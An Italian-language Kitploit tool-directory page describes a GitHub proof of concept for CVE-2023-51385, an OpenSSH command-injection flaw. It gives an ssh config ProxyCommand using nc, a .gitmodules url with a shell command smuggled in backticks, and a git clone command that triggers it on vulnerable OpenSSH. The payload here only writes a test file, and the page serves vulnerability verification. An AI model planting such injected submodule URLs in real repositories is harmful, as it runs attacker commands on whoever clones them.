Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/ltmthink/cve-2023-51385_test
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza della Supply ChainApprendimento e Formazione
GitHubltmthink/cve-2023-51385_test

CVE-2023-51385_test

Una verifica per CVE-2023-51385

Vedi Repository
7172 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Verifica di CVE-2023-51385

Prima di tutto, aggiungi il seguente contenuto in ~/.ssh/config

root@kitploit:~
host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

Nell'istruzione del file .gitmodules è presente un'iniezione di comandi

root@kitploit:~
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

Dopo la configurazione, esegui il seguente comando per attivare la vulnerabilità

root@kitploit:~
git clone https://github.com/LtmThink/CVE-2023-51385_test --recurse-submodules

Se l'esecuzione va a buon fine, verrà generato il file cve.txt nella directory CVE-2023-51385_test

image-20240317161540677

Nota: è richiesta OpenSSH <9.6p1

Per maggiori dettagli, consulta questo blog:

https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html

Scarica lo strumento